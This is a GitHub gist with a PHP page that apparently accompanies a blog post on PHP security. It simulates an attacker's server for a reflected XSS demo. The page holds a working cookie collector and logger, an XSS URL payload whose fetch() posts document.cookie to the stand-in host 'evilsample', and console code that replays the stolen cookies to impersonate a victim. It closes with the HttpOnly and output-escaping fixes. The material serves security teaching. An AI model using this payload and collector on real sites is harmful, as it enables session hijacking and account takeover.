Skip to content

Instantly share code, notes, and snippets.

@stevesohcot
Created April 4, 2026 20:03
Show Gist options
  • Select an option

  • Save stevesohcot/8d14c68fea6ba9ea3d5c59414f62cd5c to your computer and use it in GitHub Desktop.

Select an option

Save stevesohcot/8d14c68fea6ba9ea3d5c59414f62cd5c to your computer and use it in GitHub Desktop.
Simulate PHP security XSS attack
<?php
// "PHP Security blog" - Blog article by Steve Sohcot
// URL here:
// Original code created by Claude Code
// Be sure to update "localhost" and "evilsample" to match your hosts
/**
* SIMULATED ATTACKER'S SERVER
*
* This file lives at: https://evilsample/api/tests/evil.php
*
* It receives stolen cookies via GET param ?c=
* and logs them to a local file so the "attacker" can replay them later.
*
* FOR LOCAL SECURITY TESTING ONLY.
*/
$logFile = __DIR__ . "/stolen-cookies.log";
// --- Receive stolen cookies via POST body ---
// The payload uses fetch() with method:POST so the cookie string is in the
// request body — no '?' appears in the evil.php URL, which avoids PHP's
// query string parser splitting the injected script in half.
$stolen = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$stolen = file_get_contents('php://input');
}
if ($stolen !== '') {
$timestamp = date('Y-m-d H:i:s');
$ip = $_SERVER['REMOTE_ADDR'] ?? 'unknown';
$referer = $_SERVER['HTTP_REFERER'] ?? 'unknown';
$logEntry = "=== STOLEN COOKIES RECEIVED ===\n";
$logEntry .= "Time: $timestamp\n";
$logEntry .= "From IP: $ip\n";
$logEntry .= "Referer: $referer\n";
$logEntry .= "Cookies: $stolen\n";
$logEntry .= "\n";
file_put_contents($logFile, $logEntry, FILE_APPEND);
}
// --- Read log for display ---
$log = file_exists($logFile) ? file_get_contents($logFile) : "(no cookies stolen yet — send the payload first)";
// Parse most recent entry for the replay section
$replayUserId = '';
$replayRandomHash = '';
if ($stolen !== '') {
parse_str(str_replace('; ', '&', $stolen), $parsedCookies);
$replayUserId = $parsedCookies['userId'] ?? '';
$replayRandomHash = $parsedCookies['randomHash'] ?? '';
} elseif (file_exists($logFile)) {
// Pull values from the last entry in the log
preg_match_all('/^Cookies:\s*(.+)$/m', $log, $matches);
if (!empty($matches[1])) {
$lastCookies = end($matches[1]);
parse_str(str_replace('; ', '&', $lastCookies), $parsedCookies);
$replayUserId = $parsedCookies['userId'] ?? '';
$replayRandomHash = $parsedCookies['randomHash'] ?? '';
}
}
?><!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Attacker's Server — Cookie Receiver</title>
<style>
body { font-family: monospace; background: #1a1a1a; color: #00ff00; padding: 2rem; }
h1 { color: #ff4444; }
h2 { color: #ffaa00; border-bottom: 1px solid #333; padding-bottom: .4rem; }
.box { background: #111; border: 1px solid #444; padding: 1rem; border-radius: 4px; margin-bottom: 1.5rem; white-space: pre-wrap; word-break: break-all; line-height: 1.6; }
.green { border-color: #00ff00; background: #002200; }
.warn { color: #ff4444; font-weight: bold; }
a { color: #00aaff; }
label { color: #aaa; display: block; margin: .75rem 0 .25rem; }
code { background: #222; padding: 2px 6px; border-radius: 3px; color: #ffcc00; }
.step { background: #0a0a0a; border-left: 3px solid #ffaa00; padding: 1rem 1.5rem; margin-bottom: 2rem; }
</style>
</head>
<body>
<h1>Attacker's Server</h1>
<p>Running at: <strong>https://evilsample/api/tests/evil.php</strong></p>
<!-- ============================================================ -->
<div class="step">
<h2>STEP 1 — Inject the payload into localhost</h2>
<p>The injection point: <code>alerts.php</code> prints <code>$_GET['notification']</code> and <code>$_GET['error']</code>
with <strong>no htmlspecialchars()</strong> — raw HTML is rendered by the browser.</p>
<p>Send this URL to a logged-in victim (or open it yourself while logged in to localhost):</p>
<label>Stealthy version — victim stays on the page, sees a blank notification, notices nothing:</label>
<div class="box green">https://localhost/tasks/?notification=&lt;script&gt;fetch('https://evilsample/api/tests/evil.php',{method:'POST',mode:'no-cors',body:document.cookie})&lt;/script&gt;</div>
<p>What the browser does when it renders that page:</p>
<div class="box">1. PHP outputs the &lt;script&gt; tag into the HTML (no escaping)
2. Browser parses it as a real script block and executes it
3. document.cookie returns: "userId=42; randomHash=a7f3c9d2e1b4..."
(both visible because HttpOnly is NOT set)
4. fetch() fires a silent background POST to evilsample with the cookie string as the body
(POST avoids putting '?' in the evil.php URL, which would break PHP's query parser)
5. evil.php reads php://input, logs it, and shows it in STEP 2 below</div>
</div>
<!-- ============================================================ -->
<div class="step">
<h2>STEP 2 — Stolen cookies log</h2>
<?php if (isset($_GET['c'])): ?>
<p class="warn">*** COOKIES RECEIVED — just logged ***</p>
<?php endif; ?>
<div class="box"><?php echo htmlspecialchars($log); ?></div>
</div>
<!-- ============================================================ -->
<div class="step">
<h2>STEP 3 — Replay: impersonate the victim</h2>
<p>Open a <strong>fresh browser / incognito window</strong>, navigate to <code>https://localhost</code>,
open DevTools → Console, and paste:</p>
<div class="box green">document.cookie = "userId=<?php echo htmlspecialchars($replayUserId ?: 'PASTE_userId_VALUE_HERE'); ?>; path=/";
document.cookie = "randomHash=<?php echo htmlspecialchars($replayRandomHash ?: 'PASTE_randomHash_VALUE_HERE'); ?>; path=/";
location.reload();</div>
<p>What happens on reload: <code>current-user.php</code> reads those two cookies, queries the database,
<code>randomHash</code> matches the <code>random</code> column in Users — you are now authenticated
as the victim. <strong>No password entered.</strong></p>
</div>
<!-- ============================================================ -->
<div class="step">
<h2>STEP 4 — The two fixes that break this attack</h2>
<p><strong>Fix A — HttpOnly cookies</strong> (fx-login.php lines 134–135)</p>
<label>Before:</label>
<div class="box">setcookie("userId", $userInfo["userId"], $CookieExpire, "/");
setcookie("randomHash", $userInfo["random"], $CookieExpire, "/");</div>
<label>After:</label>
<div class="box green">setcookie("userId", $userInfo["userId"], $CookieExpire, "/", "", true, true);
setcookie("randomHash", $userInfo["random"], $CookieExpire, "/", "", true, true);
// ^ ^
// Secure HttpOnly
//
// document.cookie now returns "" for these cookies.
// The fetch() in Step 1 sends an empty string. Nothing useful is stolen.</div>
<p><strong>Fix B — Escape output</strong> (alerts.php lines 57 and 65)</p>
<label>Before:</label>
<div class="box">print $_GET['notification'];
print $_GET['error'];</div>
<label>After:</label>
<div class="box green">print htmlspecialchars($_GET['notification'], ENT_QUOTES, 'UTF-8');
print htmlspecialchars($_GET['error'], ENT_QUOTES, 'UTF-8');</div>
<p>This converts <code>&lt;script&gt;</code> into the literal text <code>&amp;lt;script&amp;gt;</code>
— the browser displays it as text, never executes it. Injection point eliminated entirely.</p>
</div>
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment